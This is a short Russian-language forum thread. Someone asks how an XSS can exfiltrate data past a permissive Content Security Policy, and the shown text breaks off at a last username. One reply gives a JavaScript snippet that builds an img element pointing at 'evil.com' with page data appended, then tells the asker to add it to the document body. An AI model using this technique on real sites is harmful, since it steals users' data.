Всем привет. Имеется следующая CSP, возможно ли как-то эксфильтрировать данные при

Question

Всем привет. Имеется следующая CSP, возможно ли как-то эксфильтрировать данные при

помощи xss кроме как через кучу тегов img?
default-src 'self' https://*.googleapis.com https://*.gstatic.com ;
script-src * 'self' 'unsafe-inline' 'unsafe-eval';
img-src * data: ;
style-src 'self' https://*.googleapis.com https://*.gstatic.com 'unsafe-inline';

#html #programming #russian

0

01.04.2022

6 ответов

22 просмотра

Anton Subbotin

а почему через кучу? я правильно понял, что есть xss, код исполняется, и нужно какие-то данные со страницы эксфильтрануть вовне? картинки разрешены откуда угодно, что мешает сделать el = document.createElement('img'); el.src = '//evil.com/' + data1 + data2 + data3 ?

0

01.04.2022

kberos 󠂪󠂪 󠂪󠂪 Автор вопроса

О, спасибо

0

01.04.2022

Anton Subbotin

kberos 󠂪󠂪 󠂪󠂪
О, спасибо

только забыл еще в конце document.body.appendChild(el);

0

01.04.2022

Bo0oM (в отпуске)